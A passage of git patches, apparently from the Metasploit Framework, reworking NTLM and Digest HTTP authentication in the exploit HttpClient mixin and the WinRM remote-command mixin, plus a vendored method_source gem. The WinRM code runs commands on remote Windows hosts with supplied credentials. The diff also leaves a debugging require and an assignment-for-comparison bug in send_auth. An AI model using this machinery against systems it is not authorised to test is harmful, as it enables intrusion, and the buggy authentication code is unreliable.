non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), @@ -156,7 +154,9 @@ module Exploit::Remote::HttpClient }, dossl, ssl_version, - proxies + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] ) # Configure the HTTP client with the supplied parameter @@ -184,7 +184,15 @@ module Exploit::Remote::HttpClient 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], - 'header_folding' => datastore['HTTP::header_folding'] + 'header_folding' => datastore['HTTP::header_folding'], + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -251,6 +259,10 @@ module Exploit::Remote::HttpClient def send_request_raw(opts={}, timeout = 20) begin c = connect(opts) + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end r = c.request_raw(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -266,6 +278,10 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -277,241 +293,8 @@ module Exploit::Remote::HttpClient # Combine the user/pass into an auth string for the HTTP Client # def basic_auth - return if not datastore['BasicAuthUser'] - datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') - end - - # - # Connect to the server, and perform NTLM authentication for this session. - # Note the return value is [resp,c], so the caller can have access to both - # the last response, and the connection itself -- this is important since - # NTLM auth is bound to this particular TCP session. - # - # TODO: Fix up error messaging a lot more -- right now it's pretty hard - # to tell what all went wrong. - # - def send_http_auth_ntlm(opts={}, timeout = 20) - #ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=" - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => ntlm_message_1 }})) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}})) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - def send_digest_request_cgi(opts={}, timeout=20) - @nonce_count = 0 - - return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) - to = opts['timeout'] || timeout - - digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" - digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - c = connect(opts) - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - if resp.code != 401 - return resp - end - return [nil,nil] unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - - # Send main request with authentication - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end + return if not datastore['USERNAME'] + datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') end ## diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 46bfffcc86..ba46142a45 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,6 +8,8 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' +require 'pry' + module Rex module Proto module Http @@ -294,7 +296,7 @@ class Client # def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) - if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? + if res and res.code == 401 and res.headers['WWW-Authenticate'] res = send_auth(res, req.opts, t, persist) end res @@ -329,11 +331,6 @@ class Client conn.put(req.to_s) end - # Validates that the client has creds - def have_creds? - !(self.username.nil?) && self.username != '' - end - # Resends an HTTP Request with the propper authentcation headers # set. If we do not support the authentication type the server requires # we return the original response object @@ -343,8 +340,23 @@ class Client # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) - opts['username'] ||= self.username - opts['password'] ||= self.password + if opts['username'].nil? or opts['username'] == '' + if self.username and not (self.username == '') + opts['username'] = self.username + else + opts['username'] = nil + end + end + + if opts['password'].nil? or opts['password'] == '' + if self.password and not (self.password == '') + opts['password'] = self.password + else + opts['password'] = nil + end + end + + return res if opts['username'].nil? or opts['username'] = '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] From ac6fdf24a28184531ae5c90a09ce251258f30416 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 22:01:43 -0600 Subject: [PATCH 295/448] Fix winrm mixin from revert merge --- lib/msf/core/exploit/winrm.rb | 117 ++++++---------------------------- 1 file changed, 20 insertions(+), 97 deletions(-) diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 72b6a1f724..e61a29e5aa 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -42,7 +42,7 @@ module Exploit::Remote::WinRM c = connect(opts) to = opts[:timeout] || timeout ctype = "application/soap+xml;charset=UTF-8" - resp, c = send_request_cgi(opts.merge({ + resp = send_winrm_request(opts.merge({ 'uri' => opts['uri'], 'method' => 'POST', 'ctype' => ctype, @@ -61,7 +61,7 @@ module Exploit::Remote::WinRM end def winrm_run_cmd(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -76,17 +76,17 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) - resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) - resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id)) + resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_delete_shell_msg(shell_id)) return streams end def winrm_run_cmd_hanging(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -101,9 +101,9 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) return streams end @@ -219,94 +219,6 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end - def send_request_ntlm(data, timeout = 20) - opts = { - 'uri' => datastore['URI'], - 'data' => data, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - } - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - ctype = "application/soap+xml;charset=UTF-8" - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => ntlm_message_1}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - def accepts_ntlm_auth parse_auth_methods(winrm_poke).include? "Negotiate" end @@ -329,6 +241,17 @@ module Exploit::Remote::WinRM return "/root/cimv2/" end + def send_winrm_request(data, timeout=20) + opts = { + 'uri' => datastore['URI'], + 'method' => 'POST', + 'data' => data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'ctype' => "application/soap+xml;charset=UTF-8" + } + send_request_cgi(opts,timeout) + end private From 6abbbeb3ca154776089b45c23624890b298e69b6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 22:17:25 -0600 Subject: [PATCH 296/448] put gemcache for methodsource back --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 ++ .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 + .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 + .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 +++ .../gems/method_source-0.7.1/README.markdown | 91 ++++++++++ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ++++++++ .../method_source-0.7.1/lib/method_source.rb | 163 ++++++++++++++++++ .../lib/method_source/source_location.rb | 138 +++++++++++++++ .../lib/method_source/version.rb | 3 + .../method_source-0.7.1/method_source.gemspec | 33 ++++ .../gems/method_source-0.7.1/test/test.rb | 122 +++++++++++++ .../method_source-0.7.1/test/test_helper.rb | 50 ++++++ 13 files changed, 721 insertions(+) create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml new file mode 100644 index 0000000000..ba51bba6b2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml @@ -0,0 +1,17 @@ +rvm: + - 1.8.7 + - 1.9.2 + - 1.9.3 + - ree + - rbx-18mode + - rbx-19mode + - jruby + +notifications: + irc: "irc.freenode.org#pry" + recipients: + - jrmair@gmail.com + +branches: + only: + - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts new file mode 100644 index 0000000000..a4e7838016 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts @@ -0,0 +1 @@ +-m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile new file mode 100644 index 0000000000..e45e65f871 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile @@ -0,0 +1,2 @@ +source :rubygems +gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE new file mode 100644 index 0000000000..d1a50d62d0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE @@ -0,0 +1,25 @@ +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown new file mode 100644 index 0000000000..d91b810a3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown @@ -0,0 +1,91 @@ +method_source +============= + +(C) John Mair (banisterfiend) 2011 + +_retrieve the sourcecode for a method_ + +*NOTE:* This simply utilizes `Method#source_location`; it + does not access the live AST. + +`method_source` is a utility to return a method's sourcecode as a +Ruby string. Also returns `Proc` and `Lambda` sourcecode. + +Method comments can also be extracted using the `comment` method. + +It is written in pure Ruby (no C). + +* Some Ruby 1.8 support now available. +* Support for MRI, RBX, JRuby, REE + +`method_source` provides the `source` and `comment` methods to the `Method` and +`UnboundMethod` and `Proc` classes. + +* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` +* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) +* See the [source code](http://github.com/banister/method_source) + +Example: display method source +------------------------------ + + Set.instance_method(:merge).source.display + # => + def merge(enum) + if enum.instance_of?(self.class) + @hash.update(enum.instance_variable_get(:@hash)) + else + do_with_enum(enum) { |o| add(o) } + end + + self + end + +Example: display method comments +-------------------------------- + + Set.instance_method(:merge).comment.display + # => + # Merges the elements of the given enumerable object to the set and + # returns self. + +Limitations: +------------ + +* Occasional strange behaviour in Ruby 1.8 +* Cannot return source for C methods. +* Cannot return source for dynamically defined methods. + +Special Thanks +-------------- + +[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. + +[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. + +[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. + +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile new file mode 100644 index 0000000000..92c0234f3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile @@ -0,0 +1,76 @@ +dlext = Config::CONFIG['DLEXT'] +direc = File.dirname(__FILE__) + +require 'rake/clean' +require 'rake/gempackagetask' +require "#{direc}/lib/method_source/version" + +CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") +CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", + "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", + "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") + +def apply_spec_defaults(s) + s.name = "method_source" + s.summary = "retrieve the sourcecode for a method" + s.version = MethodSource::VERSION + s.date = Time.now.strftime '%Y-%m-%d' + s.author = "John Mair (banisterfiend)" + s.email = 'jrmair@gmail.com' + s.description = s.summary + s.require_path = 'lib' + + s.add_development_dependency("bacon","~>1.1.0") + s.add_development_dependency("rake", "~>0.9") + s.homepage = "http://banisterfiend.wordpress.com" + s.has_rdoc = 'yard' + s.files = `git ls-files`.split("\n") + s.test_files = `git ls-files -- test/*`.split("\n") +end + +task :test do + sh "bacon -q #{direc}/test/test.rb" +end + +desc "reinstall gem" +task :reinstall => :gems do + sh "gem uninstall method_source" rescue nil + sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" +end + +desc "Set up and run tests" +task :default => [:test] + +namespace :ruby do + spec = Gem::Specification.new do |s| + apply_spec_defaults(s) + s.platform = Gem::Platform::RUBY + end + + Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_zip = false + pkg.need_tar = false + end + + desc "Generate gemspec file" + task :gemspec do + File.open("#{spec.name}.gemspec", "w") do |f| + f << spec.to_ruby + end + end +end + +desc "build all platform gems at once" +task :gems => [:rmgems, "ruby:gem"] + +desc "remove all platform gems" +task :rmgems => ["ruby:clobber_package"] + +desc "build and push latest gems" +task :pushgems => :gems do + chdir("#{direc}/pkg") do + Dir["*.gem"].each do |gemfile| + sh "gem push #{gemfile}" + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb new file mode 100644 index 0000000000..9a3c325f75 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb @@ -0,0 +1,163 @@ +# (C) John Mair (banisterfiend) 2011 +# MIT License + +direc = File.dirname(__FILE__) + +require "#{direc}/method_source/version" +require "#{direc}/method_source/source_location" + +module MethodSource + # Determine if a string of code is a valid Ruby expression. + # @param [String] code The code to validate. + # @return [Boolean] Whether or not the code is a valid Ruby expression. + # @example + # valid_expression?("class Hello") #=> false + # valid_expression?("class Hello; end") #=> true + def self.valid_expression?(str) + if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ + Rubinius::Melbourne19.parse_string(str) + elsif defined?(Rubinius::Melbourne) + Rubinius::Melbourne.parse_string(str) + else + catch(:valid) { + eval("BEGIN{throw :valid}\n#{str}") + } + end + true + rescue SyntaxError + false + end + + # Helper method responsible for extracting method body. + # Defined here to avoid polluting `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [File] The opened source file + def self.source_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + (line - 1).times { file.readline } + + code = "" + loop do + val = file.readline + code << val + + return code if valid_expression?(code) + end + end + end + + # Helper method responsible for opening source file and buffering up + # the comments for a specified method. Defined here to avoid polluting + # `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [String] The comments up to the point of the method. + def self.comment_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + buffer = "" + (line - 1).times do + line = file.readline + # Add any line that is a valid ruby comment, + # but clear as soon as we hit a non comment line. + if (line =~ /^\s*#/) || (line =~ /^\s*$/) + buffer << line.lstrip + else + buffer.replace("") + end + end + + buffer + end + end + + # This module is to be included by `Method` and `UnboundMethod` and + # provides the `#source` functionality + module MethodExtensions + + # We use the included hook to patch Method#source on rubinius. + # We need to use the included hook as Rubinius defines a `source` + # on Method so including a module will have no effect (as it's + # higher up the MRO). + # @param [Class] klass The class that includes the module. + def self.included(klass) + if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && + RUBY_ENGINE =~ /rbx/ + + klass.class_eval do + orig_source = instance_method(:source) + + define_method(:source) do + begin + super + rescue + orig_source.bind(self).call + end + end + + end + end + end + + # Return the sourcecode for the method as a string + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method sourcecode as a string + # 